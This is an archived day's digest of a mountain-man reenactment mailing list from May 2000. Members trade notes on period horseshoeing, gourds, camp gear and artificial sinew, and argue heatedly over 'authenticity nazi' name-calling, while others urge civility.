> >Two weeks ago, I saw my childhood home, and tonight I read the words that
> >it is all gone.  Gone.  Now the fire is spreading into one of the poorest
> >counties in the nation, including two Indian Pueblos.  Those people can't
> >afford to lose anymore.  They have so little.
>
> Tears fill my eyes,   I want to help!  What can I do?  Let me know!
> All of this list stuff seem so unimportant when REAL  tragedy strikes.
> If it is raising money or goods,  I will do it.
> Give me details,  I want to do what will help!
>
> Julia
> in Oregon
>
>
> ----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 08:33:18 -0600

Thanks a lot.
-----Original Message-----


>Bill
>I would say it was lack of lift due to a slow takeoff speed. Next time
start
>nearer to the peak of the roof and run full tilt to the edge.. Might be the
>ticket....
>D
>
>
>
>----------------------
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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 10:29:26 -0400

Bill,
Anytime...<G>
D




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-------------------------------------------------------------------------------

From: "Chance Tiffie" <[e-mail]>
Subject: Re: MtMan-List: Un-shod Horses.
Date: 11 May 2000 07:36:13 PDT

Angela,
I have not encountered any sources(journals, letters) that describe someone
setting or pulling a shoe. However, trade lists and invoices show shoes,
nails, and shoeing tools being sent to the Rockies.  I will admit that the
vast majority of equines went un-shod, most likely from necessity, not
choice.  There was demand for shoes though, or they could not have justified
their weight, when trade items could have been packed in their place.
For a few quick references, you can use the searh tool on Dean's site, type
in the word "shoes," and you will get the documentation needed.
   As for my personal experience riding  mules. I keep them shod as most of
my riding is done via gravel road here in Oklahoma for lack of un-fenced
property, and designated equestrian trails.  We do not have enough snow or
ice usually to cause snow or ice build-up on their hooves.  However friends
that elk hunt with their mules in Colorado always pull the shoes before
going.


Cliff Tiffie
PO Box 5089
Durant, OK
74702
580-924-4187
---------------------
Aux Aliments de Pays!

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


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From: "D Miles" <[e-mail]>
Subject: MtMan-List: Reply from the "Nazi" Delete now if you are thin skinned
Date: 11 May 2000 10:45:59 -0400

Hello Camp.
 I wrote this privately to a listmemeber, but I think the list outta read
it...
And if you keep calling me a nazi, fine, I may have to heard your asses on a
train.
Snipped for content...

" I would have left the entire subject alone, cause I  really don't care if
someone clothes themselves head to toe in naug skins and ride around in a
golf cart covered with a skin and call it  a horse...
 What fired me up is when I was referred to as aan  "authenticity nazi"  I
have organized several events that were tightly juried and have been a
member of even more jury commities. And it always ends up about the same..
We get photos and camp descriptions by the box, well invariably we get some
that are pure, flatland buckskinners (yes, this meant to be derogatory)..
And whenever we send a rejection along with suggestions of what needs to be
left at home or changed (always nicely worded cause if they went to the
trouble of going thru jury, you would think they were open to suggestion to
improve their gear and camps some) invariably we get letters or phonecalls
accusing the organizer/committee to be tightassed elitist nazi's.. It does
set me off. As it did on the list.. I will put my camp and gear up to
anyone's scrutiny. I started as a chrometan buckskinner, but I have worked
hard to improve my gear, which is a never ending process and someone who
would rather whine and call me a name to two deserves and will get my full
brunt. I go to several local 'voos around here a year, and camp the way I
camp, and others camp the way they do, no conflict, no harm , no foul..
Hell, they are my friends. I don't give advice on gear unless asked, period.
And I have no qualms about going over to a neighbors camp, sit in a slat
chair and partake of the local brew...Them that know me can tell you that if
I am called a nazi by one of these folks, it is purely trying to get a rise
outta me. But because you get rejected from a juried event or don't get
invited to a AMM doins doesn't mean we are elitist nazi's. We are doing it
they way we want to do it, and if you conform to our camp standards, then
you can play too.  Or if someone sees potential in a person, we don't really
care what he wears, that we can fix over time..(AMM)  What is inside is what
counts. But don't expect to go to a juried event or AMM doins and drag 6
tons of shit in your pickup, and set up a "ronnyvoo" camp..... Won't
happen/Period."

Dennis Miles
AMM 1622 Hiveranno
Party Chief , Doc Newell Party
Ohio
937-996-0201 my phone # for you that have emailed me personally with some
nasty stuff. Call me, we will make arrangements to get on the grond
sometime...



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From: Julia <[e-mail]>
Subject: Re: MtMan-List: Re:
Date: 11 May 2000 07:58:18 -0700


I do apologize,  that was a message meant to be sent off list.

May peace be with you all,   Julia

>Dear List Members...
>
>For what my opinion is worth, if we can not let this dog (topic) die, at
>least give up the subject  line using the term "Nazis."  It is an extremely
>offensive term, and one to which, I at least, take particular umbrage.
>
>Additionally, while I do appreciate to a degree, the sensitivity of some of
>our list members, as expressed by the material below between Julia and
>Bobbie, I respectfully suggest that such comments are better directed off
>list as between the interested parties and not to the list at large.
>
>This list is for a dedicated purpose, and while humor and venom often seem
>to creep (creep hell, it flows like lava) in to our conversations, I would
>think it a better practice to keep the personal comments personal and off
>the list.
>
>Just my thoughts.  Regards,  Paul
>----- Original Message -----
>From: Julia <[e-mail]>
>To: <[e-mail]>
>Sent: Thursday, May 11, 2000 5:27 AM
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>
>
>  > My heart goes to you,  Bobbie,
>  >
>  > >   Thanks, Ole, for acknowledging that what was said was hurtful.  It
>seems
>  > >to have escaped everyone else on this list.
>  >
>  > I was not lost on me,  but I have never been made welcome on this
>  > list,  so I offer very little.   I have been very tempted to withdraw
>  > from this list over the list over this too.
>  >
>  > >    Tonight I'm mourning the fact that my hometown is going up in flames.
>  > >Two weeks ago, I saw my childhood home, and tonight I read the words that
>  > >it is all gone.  Gone.  Now the fire is spreading into one of the poorest
>  > >counties in the nation, including two Indian Pueblos.  Those people can't
>  > >afford to lose anymore.  They have so little.
>  >
>  > Tears fill my eyes,   I want to help!  What can I do?  Let me know!
>  > All of this list stuff seem so unimportant when REAL  tragedy strikes.
>  > If it is raising money or goods,  I will do it.
>  > Give me details,  I want to do what will help!
>  >
>  > Julia
>  > in Oregon
>  >
>  >
>  > ----------------------
>  > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From:    "John Hunt" <[e-mail]>
Subject: MtMan-List: Dennis`s camp
Date: 11 May 2000 11:14:56 -0400

Walt, If Dennis takes a big camp it usually consist of a buff robe, two
wilde blankies, a jug to sip, a gourd for water, a cloth bag for food. The
big camp is usually when his pretty wife is along. For himself, depending on
temperature, the buff robe or one blanket. On a rare occasion a diamond
accompanies them. They eat well and always have some to share, mighty fine
jerky, or hard home made sausage, cheese, depending on temp and event a nice
chunk of hump ribs. For a week long AMM camp it might take two trips on foot
to carry in his camp. Two trips usually indicate he took his trade goods.
"he a excellent knife and axe maker" If ordering a knife from him be sure to
order a sheath, he loves to make them. are usually bark tanned.

Dennis has the skills and ability to survive comfortable with very little.
Oh yes a brass goose bay kettle sometime accompanies him. Can take a
squirrel in the woods find plants and end up with a stew that melts in your
mouth.

If you haven`t guessed by now, Dennis is a very good friend of mine. He`s
not as much of a butthead as people mistake him for. He has a correct camp
and expects others around him to also have a correct camp. Most of the AMM
members want to see improvement if your not correct. At no time was
criticism ever given me. ONLY when ask how could I improve my camp was
suggestions given. They were given politely by those who I ask, thorough
explanations were given

I would like to suggest any who want to leard more about the fur trade
subscribe to the Tomahawk & Longrifle mag. which is written by AMM members
and published by the same.  I`m not an AMM member, just have quite a few
friends who are members. If you can go into an AMM camp and be correct, then
you can go into any fur trade camp in this country and shine .




> Hello John,
> So what does D. camp look like?  Walt
>
>
> ----- Original Message -----
> From: "John Hunt" <[e-mail]>
> To: <[e-mail]>
> Sent: Wednesday, May 10, 2000 9:57 AM
> Subject: Re: MtMan-List:was saw now its cordage
>
>
> > Dennis, that paddle is used to propel your canoe, not stir up s--t.
> >
> > To those who don`t know Dennis, his camp is just as he talks, extremely
> > correct. He has what  it takes to make a comfortable camp for his wife
and
> > himself. You must remember everyone's level of comfort is different.
> >
> > Dennis also has the skills, ability, and knowledge to make do with whats
> at
> > hand.
> >
> >
> > >
> > > PS.. It does my heart good to know I can still ruffle feathers good,
> when
> > I
> > > am a mind to..<BG> And the invitation still goes, I would like to get
on
> > the
> > > ground with any one of ya's. ('Cept mebby Pendleton)
> > > D
> > >
> > >
> > >
> > >
> > >
> > > "Abair ach beagan is abair gu math e"
> > >           DOUBLE EDGE FORGE
> > >   Period Knives & Iron Accoutrements
> > >    http://www.bright.net/~deforge1
> > >   "Knowing how is just the beginning"
> > >
> > >
> > >
> > > ----------------------
> > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> > >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>


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From:    "John Hunt" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 11 May 2000 11:17:10 -0400


DAMN IT DENNIS, HONESTLY I DIDN`T TELL HIM


> Dennis, you forgot to mention the tiny teddy bear, the incense, prayer
bells
> and so forth.
>
>
> ----- Original Message -----
> From: D Miles <[e-mail]>
> To: <[e-mail]>; <[e-mail]>
> Sent: Wednesday, May 10, 2000 11:35 AM
> Subject: Re: MtMan-List:was saw now its cordage
>
>
> > Walt Wrote:
> > > So what does D. camp look like?
> >
> >
> > Walt,
> >  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> > like a banshee, or no cloth if natural shelter is available.  And nada
> when
> > it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> > canteen usually.  My gun, bag and haversack laying around somewhere in
> > reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> > myself, with Gwen,  in a big public doins or in the middle of no damned
> > where. What did you have in mind?
> > Dennis
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 10:10:44 -0600

Hello John...errrr D.

Getting on the ground.  You did not give me a very detailed description of
your camp.  Just a few things you are carrying.  BTW how big is New Madison,
Ohio.  And what mountains do you set your camp in?  I for one would like to
know more and after all this list is dedicated to American Mountain Man
education is it not?

Walt
Park City, Montana


----- Original Message -----
Sent: Wednesday, May 10, 2000 12:35 PM


> Walt Wrote:
> > So what does D. camp look like?
>
>
> Walt,
>  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> like a banshee, or no cloth if natural shelter is available.  And nada
when
> it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> canteen usually.  My gun, bag and haversack laying around somewhere in
> reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> myself, with Gwen,  in a big public doins or in the middle of no damned
> where. What did you have in mind?
> Dennis
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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-------------------------------------------------------------------------------

From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Re: cordage
Date: 11 May 2000 10:14:06 -0600

Hi Hawk,
I know the breaks from the 60's and also hunted Sun River up into the Bob
back then before it got to crowded.  I have taken 2 bear and several elk out
of the Hungry Horse area.  We hunted Spotted Bear and Wounded Buck area.
Yes I know Tom Ballard.  Let me know if the square cordage stretches.
Walt
Park City, Montana


----- Original Message -----
Sent: Thursday, May 11, 2000 2:54 AM


> walt---hope to make it to the shining mountains in october or novenmer
> to hunt with my brother in law that lives in haver---we hunt the breaks
> and bob marshal and also up around hungry horse area   will put up smoke
> if i get in the area---
>
>
> BTW do you know tom ballard in helena---
>
> HAWK
> Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
> 854 Glenfield Dr.
> Palm Harbor florida 34684
> E-Mail: [e-mail]   Web site:
> http://www.angelfire.com/fl2/mpierce
>
> ________________________________________________________________
> YOU'RE PAYING TOO MUCH FOR THE INTERNET!
> Juno now offers FREE Internet Access!
> Try it today - there's no risk!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>
> ----------------------
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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Dennis`s camp
Date: 11 May 2000 10:53:26 -0600

Hello John,  thank you for your thoughtful reply and doing it would out
blustering and bullying things around.  I would be interested in meeting D.
on the ground.  On orginial ground occupied by the American mountain men
during their time of glory.  I have access to such a camp.  As the Booshway
of Clark Bottom Rendezvous I would have a hard time placing D. in the purely
authentic for the time period camp based upon the limited information you
both have provided.  The use of the gourd for instance would place D. in the
camp section I camp it because after meeting and talking with Bill
Cunningham and his friends at Red Lodge Mountain Man Rendezvous over the
years.  I grew 4 gourds last year and have incorporated them in my camp asit
is based on the 1836/1836 camp of Jim Bridger and is late enough in the
period to be represented.  Gourds would not have been present in the initial
years 1807-1825.  The Pony Trader period may be a different matter as
pointed out to me by Bill Cunningham and his friends.  The intercourse grew
stronger between the north and south rockies over the years.  I have made
the trip myself several times.  Enough to be able to picture it all along in
my mind.  I do not think D. camp can be considered a big camp.  On the
contrary to me so far it reads as a light summer camp.  And not a single
tool is mentioned.  Trips of 2 or more times is not uncommon by footmen
working up the river bottoms like the Missouri, Yellowstone, North Platte
and the Wind River for the beaver men who packed trade good.  I make classic
northern plains knife sheaths myself.  You talk about D. as having the
skills and ability to survice comfortable with very little.  A squirrel
won't feed a man in these Rocky Mountains I know about.  Do you live in Ohio
also?  What time period and geographical location is your camp?  This is
good educational information for everybody.  Thanks again.  Walt



----- Original Message -----
Sent: Thursday, May 11, 2000 9:14 AM


> Walt, If Dennis takes a big camp it usually consist of a buff robe, two
> wilde blankies, a jug to sip, a gourd for water, a cloth bag for food. The
> big camp is usually when his pretty wife is along. For himself, depending
on
> temperature, the buff robe or one blanket. On a rare occasion a diamond
> accompanies them. They eat well and always have some to share, mighty fine
> jerky, or hard home made sausage, cheese, depending on temp and event a
nice
> chunk of hump ribs. For a week long AMM camp it might take two trips on
foot
> to carry in his camp. Two trips usually indicate he took his trade goods.
> "he a excellent knife and axe maker" If ordering a knife from him be sure
to
> order a sheath, he loves to make them. are usually bark tanned.
>
> Dennis has the skills and ability to survive comfortable with very little.
> Oh yes a brass goose bay kettle sometime accompanies him. Can take a
> squirrel in the woods find plants and end up with a stew that melts in
your
> mouth.
>
> If you haven`t guessed by now, Dennis is a very good friend of mine. He`s
> not as much of a butthead as people mistake him for. He has a correct camp
> and expects others around him to also have a correct camp. Most of the AMM
> members want to see improvement if your not correct. At no time was
> criticism ever given me. ONLY when ask how could I improve my camp was
> suggestions given. They were given politely by those who I ask, thorough
> explanations were given
>
> I would like to suggest any who want to leard more about the fur trade
> subscribe to the Tomahawk & Longrifle mag. which is written by AMM members
> and published by the same.  I`m not an AMM member, just have quite a few
> friends who are members. If you can go into an AMM camp and be correct,
then
> you can go into any fur trade camp in this country and shine .
>
>
>
>
> > Hello John,
> > So what does D. camp look like?  Walt
> >
> >
> > ----- Original Message -----
> > From: "John Hunt" <[e-mail]>
> > To: <[e-mail]>
> > Sent: Wednesday, May 10, 2000 9:57 AM
> > Subject: Re: MtMan-List:was saw now its cordage
> >
> >
> > > Dennis, that paddle is used to propel your canoe, not stir up s--t.
> > >
> > > To those who don`t know Dennis, his camp is just as he talks,
extremely
> > > correct. He has what  it takes to make a comfortable camp for his wife
> and
> > > himself. You must remember everyone's level of comfort is different.
> > >
> > > Dennis also has the skills, ability, and knowledge to make do with
whats
> > at
> > > hand.
> > >
> > >
> > > >
> > > > PS.. It does my heart good to know I can still ruffle feathers good,
> > when
> > > I
> > > > am a mind to..<BG> And the invitation still goes, I would like to
get
> on
> > > the
> > > > ground with any one of ya's. ('Cept mebby Pendleton)
> > > > D
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > "Abair ach beagan is abair gu math e"
> > > >           DOUBLE EDGE FORGE
> > > >   Period Knives & Iron Accoutrements
> > > >    http://www.bright.net/~deforge1
> > > >   "Knowing how is just the beginning"
> > > >
> > > >
> > > >
> > > > ----------------------
> > > > hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > > >
> > >
> > >
> > > ----------------------
> > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: MtMan-List: Gourds
Date: 11 May 2000 11:11:12 -0600

Walt,

You stated that...........

> The use of the gourd for instance would place D. in the
> camp section I camp it because after meeting and talking with Bill
> Cunningham and his friends at Red Lodge Mountain Man Rendezvous over the
> years.  I grew 4 gourds last year and have incorporated them in my camp
> asit
> is based on the 1836/1836 camp of Jim Bridger and is late enough in the
> period to be represented.  Gourds would not have been present in the
> initial
> years 1807-1825.
    [Sickler, Louis L]
    Can you tell us why?? Just curious.

    Lou Sickler
    Colorado Territory

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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 13:19:10 -0400

Walt,
So what do you want Walt, photos? Lessee, there are a few floating around
and I have some myself, somewhere.. Includeing one from the 1994 AMM Easten,
"Most Correct Camp" That earned me the Silver Cup that year.
New Madiosn is mebby 900 people, if you count dogs & kids. I set my camp in
in the Alleghenies, Smokies & Blue Ridge Mtns. Along with some grand, wild
forested areas around here. I haven't had an opportunity to camp in the
Shinin' Mtns for several years, as I am a bladesmith and we don't exactly
rake in a fortune for travel. And what sort of ref. does the AMM crack mean?
Because I am from the East I shouldn't open my mouth? Well, crack a book
bud, the Mtn Men came from somewhere.. Wanna guess where? Doc Newell was
from 50 miles South of here, in Ross, Ohio.... So I wouldn't even wanna
touch that tangent.. There are an awful lot of Eastern Brothers that may
take unbrage with it, along with more than a few I know from the West.
And I believe this "duscussion" started because I queried the AUTHENTICITY
of waxed NYLON. And I don't ever remember seeing it on a trade list from
Ashley, HBC, AFC, Bent or any other I have seen.. So what do you consider
education? The wonders of modern innovations, like artificial sinew &
naugahyde and the notion of if had it they 'd a used it?


Dennnis Miles
AMM#1622 Hiveranno
Party Chief, Doc Newell Party, Ohio



"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"

----- Original Message -----
Sent: Thursday, May 11, 2000 12:10 PM


> Hello John...errrr D.
>
> Getting on the ground.  You did not give me a very detailed description of
> your camp.  Just a few things you are carrying.  BTW how big is New
Madison,
> Ohio.  And what mountains do you set your camp in?  I for one would like
to
> know more and after all this list is dedicated to American Mountain Man
> education is it not?
>
> Walt
> Park City, Montana
>
>
> ----- Original Message -----
> From: "D Miles" <[e-mail]>
> To: <[e-mail]>; <[e-mail]>
> Sent: Wednesday, May 10, 2000 12:35 PM
> Subject: Re: MtMan-List:was saw now its cordage
>
>
> > Walt Wrote:
> > > So what does D. camp look like?
> >
> >
> > Walt,
> >  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> > like a banshee, or no cloth if natural shelter is available.  And nada
> when
> > it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> > canteen usually.  My gun, bag and haversack laying around somewhere in
> > reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> > myself, with Gwen,  in a big public doins or in the middle of no damned
> > where. What did you have in mind?
> > Dennis
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 13:40:51 EDT

>History be damned.  Give me humans with some soul anyday.  From now on, I<
>will proudly be with those in chrome tan who care about other human beings.<

... so the elitist bastards came out from behind their little walled in
enclave and spout off, then the list, and buckskinning in general, loses
another good one.  What a piss-poor showing by a Brotherhood. This happens
far too often, and really reflects poorly on the AMM, that group of people
whom we are supposed to be able to go for advise.   When will you learn there
are many who are reaching out for your help, only to be rebuffed and
downright insulted because they had the guts to ask, to try and learn or
express a point of view?  Isn't the AMM interested in new members?  Didn't
you all have to start in the chrome-tan phase and grow from there?  THIS IS
NOT THE AMM MEMBERS LIST, REMEMBER?  This is the list that's open to anyone
with an interest........ (PS, thankfully, some of us have maintained
relationships with those some of you have 'shamed' off the list, and are
still able to learn some very valuable information from them; information and
ideas you may have foolishly lost access too. Believe it or not, being a
member of the AMM does NOT mean you automatically know everything; there are
still those that can impart knowledge to you!)

In closing, I can only say to Bobbie:  Don't let the words or actions of a
couple ruin it for you.  Most on this list have great temperaments and will
share their knowledge without trying to disgrace or intimidate you.  If
nothing else, let this serve to 'thicken your skin' against those who believe
they are better than you, and in doing so, give yourself the opportunity to
prove them wrong.                 Barney

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From: "D Miles" <[e-mail]>
Subject: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 14:19:09 -0400

This is in response to a private post from on of the "enlightened" ones...
I will not post the letter on a public forum as the language would make
Lanney blush.
 As I was told because I queried a fella about carrying a roll of
"ARTIFICIAL sinew" in his bag, and suggested an alternative, although I knew
full well when I did it that he already knew the alternatives, I was being
"insensitive to others feelings" and that I should apologize and leave the
list with my head hung in shame and possibly be removed from the rolls of
the AMM.. Well, unfortunatly, this seems to be the pervasive attitude
nowadays.. "Be sensitive and totally understanding to others and coo over
them gently, or we will scream NAZI! or worse, then take our toys and go
home while blaming others. And demand that the non-p.c. offender is punished
and all others that would dare to say what they think are silenced.."
Well, dear letter writer, you know who you are, I ain't leaving, apologizing
or resigning anything. Call me what you want, say what you will.. It is your
right, but remember, it is my right as well.
 As for those who live and camp in the Rockies, I envy you that, but if it
is truley "hallowed ground",  do it right. to honor those that came
before....
D

PS, on the last line, Walt, is the Clark Bottom 'voo juried tightly? Or does
"anything" (pre 1840)go?
Just curious...And that question is not mean spirited in any way, but I bet
it can be construed as such, cause remember, I am "insensitive"....
D




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-------------------------------------------------------------------------------

From: Angela Gottfred <[e-mail]>
Subject: Re: MtMan-List: Un-shod Horses.
Date: 11 May 2000 11:50:27 -0600

Cliff Tiffie wrote:
>>I have not encountered any sources(journals, letters) that describe someone
setting or pulling a shoe. However, trade lists and invoices show shoes,
nails, and shoeing tools being sent to the Rockies.  <<

I would consider trade lists and invoices showing horseshoeing supplies to
be evidence that's at least as good as journals and letters. Thanks for
scratching my curiousity itch!

Your humble & obedient servant,
Angela Gottfred

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From: "Roger Lahti" <[e-mail]>
Subject: MtMan-List: How to make friends and influence people.
Date: 11 May 2000 12:01:54 -0700

Is anyone listening to what he is saying besides me? At the very least
(there is probably more)  I shot my mouth off about Horse s**t rendezvous
and offended brothers I regard highly and non-brothers who didn't have it
coming. Our little joke about 'Hard Core Elitist Bastard Point'  "a gated
community" does not shine in the face of all the hard work to put on such a
camp. ( I may not be welcome back and with good reason) It was rude.

Someone else new to the game (and it is a game guys) made a comment about
modern expedients, (I don't even know what was originally said now) and he
gets his head taken off such that he chooses to leave. Someone else goes to
his defense trying to cite  the many benefits of modern medical care we
don't leave at home and he gets his head delivered in a sheet iron pan. And
there were insults both ways that I probably left out but what does that
justify?

Another old hand at this game jumps in and makes it sound like if you didn't
live in a certain area you can't really count yourself a "Mountain Man" or
implies that if you are east of some arbitrary line and don't camp in the
Rockies, your just not quit up to par. (that  is sure how I hear it)

Someone else jumps in boasting about how little use he has for people who
don't camp like he does at an AMM function but he will drink your booze and
set in your chair at any other type of doings. And gets hot at being called
an Authenticity Nazi. (I've been called that too and I don't like it either)
(and he is still welcome to sit in my chair and drink my booze cause we are
brothers and there almost isn't anything he can do that will change that).


I see that Barney beat me to this. Well said. The various parts we have
played in this little exchange does not reflect well on us as a group and
certainly not on us as individuals. So we want to be special and call on a
few good men? Well, the Marines (God Bless every one of them for their
service and sacrifice) need a few good men on a continuing basis. So do we.
This is how we make our group look attractive? You want a special place to
go? This is how we recruit the membership base that will be required if that
is ever to happen?

Bobbie, my apologies for not speaking up sooner. Same to you Tim. Julia, you
do not have to take your offers of assistance off list, you shame us all
with your generosity. Paul, your opinion is worth much more than you know.
Keep them coming.

So we live in Montana, so we camp with next to nothing, so we are a member
of AMM. So we are whole in body. Does that make us special? Or does it make
us lucky? Are we whole in spirit? Are we here to learn and share? That is
part of the Charter. Maybe the biggest part.

This is a History List. People inside and outside the sponsoring
organization come here to learn and share. Sometimes a bit of BS gets thrown
in to lighten up the day or fill the empty page. Sometimes the participants
feel strongly about various subjects. Sometimes people say things here that
they wouldn't say around a camp fire with friends or strangers. The latter
shouldn't happen but when it does, it should be stopped. This list is not
moderated. Perhaps it should be if we can't act like adults and see
ourselves as part of the problem rather than part of the solution. I
remain......

Capt. Lahti' #1719




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From: "Addison Miller" <[e-mail]>
Subject: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 15:27:51 -0400

Aw come on guys (and gals)... this is a hobby we have here.... one that my
wife and I enjoy immensely.  We do the best we can, and I am always learning
new stuff about what to do and not to do, etc... We all do the best we can
with what we got. I admit, I am not 100% accurate, because there are comfort
things the little woman likes, and since I gota sleep with her, I say "Yes
dear", and see that she has it. Mostly, I do try to be as accurate as
possible, and when some one KINDLY (key word here) points out to me that I
am in error, I listen and change it.  However, if someone comes into MY
(another key word) camp and starts givin me a ration, then its time to start
looking for a place to hide bodies. I put up with that from no one!!

I am new at this... only been doing it about 10 years, and I love what I do.
Since we just moved to W Va, I intend to get into Historical Trekking, and I
am studying hard to make it right with my gear, etc... however, I am sure I
will make a few mistakes. That is called being human.  Constructive
criticism is accepted gladly... ranting and raving at me about something is
likely to get you hurt... and more than just your feelings. R E S P E C T is
another key word. Respect others, and be nice when you point out the error
of their ways.  You will find they will listen much better.

I agree whole heartedly, that some traders at events shouldnot be allowed in
the front gates. All they sell is Pakistani knives, cheap made in China
junk, and trinkets. Report it to the Ronnyvous authorities.... don't go off
on the guy yourself.

Many of us want to be as authentic as possible... kudos to you in doing
that.  Many of us just aren't as talented at making things as others (this
is my category), so we do the best we can. Hell, it was many years before I
finally learned to make fire with flint and steel. When a friend took me
aside and showed me how to do it (instead of laughing at my attempts and
walking away as some others did) I found it was easy as pie.  Now, that is
how I start all my fires at camp.

Finally to my point here... BE NICE!!!  You don't have to call people names
(personally I HATE the word NAZI) to get their attention.  I have learned
much from this list, and hope to continue to do so. Several months ago, when
I was a newbie to the list, I asked a question, and one of the members (no
longer here) stated that it was a "stupid question, not worth an answer".
Well, my daddy always said that the only stupid question as was the one you
didn't ask. People like that can give lists a bad name.... and that is not,
for the most part, I have found this list to be.

Ad Miller


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From: [e-mail]
Subject: Re: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 14:54:47 EDT

> Just curious...And that question is not mean spirited in any way, but I bet
>  it can be construed as such, cause remember, I am "insensitive"....

Dennis,

In this day and age, our society doesn't know how to accept the person that
is covered with rough bark on the outside.  They expect something warm and
fuzzy, something that conforms to their own PC view of the world, the status
quo.  Beware the man who rides his own trail, rather than follow the rest of
the sheep, for he is an outcast to society who cannot be trusted.

On the other hand, he is one of the few who realize what society has done to
themselves.  He is still the pioneer who follows the old ways.

OldFox

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 13:46:03 -0600

Dennis, I am sure that somehow, somewhere, I am involved in this. Well, you
can talk anyway you want with me. You ain't hurting my feelings. I am still
growing, still learning, still developing. I don't know the half of it and
am willing to admit it. I take your comments as they are meant -
constructive. If we can't have a give and take conversation on this net,
then I guess we'll just have to get together on the ground.
Bill C
-----Original Message-----


>This is in response to a private post from on of the "enlightened" ones...
>I will not post the letter on a public forum as the language would make
>Lanney blush.
> As I was told because I queried a fella about carrying a roll of
>"ARTIFICIAL sinew" in his bag, and suggested an alternative, although I
knew
>full well when I did it that he already knew the alternatives, I was being
>"insensitive to others feelings" and that I should apologize and leave the
>list with my head hung in shame and possibly be removed from the rolls of
>the AMM.. Well, unfortunatly, this seems to be the pervasive attitude
>nowadays.. "Be sensitive and totally understanding to others and coo over
>them gently, or we will scream NAZI! or worse, then take our toys and go
>home while blaming others. And demand that the non-p.c. offender is
punished
>and all others that would dare to say what they think are silenced.."
>Well, dear letter writer, you know who you are, I ain't leaving,
apologizing
>or resigning anything. Call me what you want, say what you will.. It is
your
>right, but remember, it is my right as well.
> As for those who live and camp in the Rockies, I envy you that, but if it
>is truley "hallowed ground",  do it right. to honor those that came
>before....
>D
>
>PS, on the last line, Walt, is the Clark Bottom 'voo juried tightly? Or
does
>"anything" (pre 1840)go?
>Just curious...And that question is not mean spirited in any way, but I bet
>it can be construed as such, cause remember, I am "insensitive"....
>D
>
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 15:43:36 -0400

That'll be a pleasure Bill... And I will give you a nice 20' piece of
cordage or hemp string  while I am at it!!<GG>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 13:51:07 -0600

Wait a minute! A bladesmith I did business with not too long back should
have been able to retire after he got through with me. Maybe I'd better get
together with you for my next knife?
-----Original Message-----


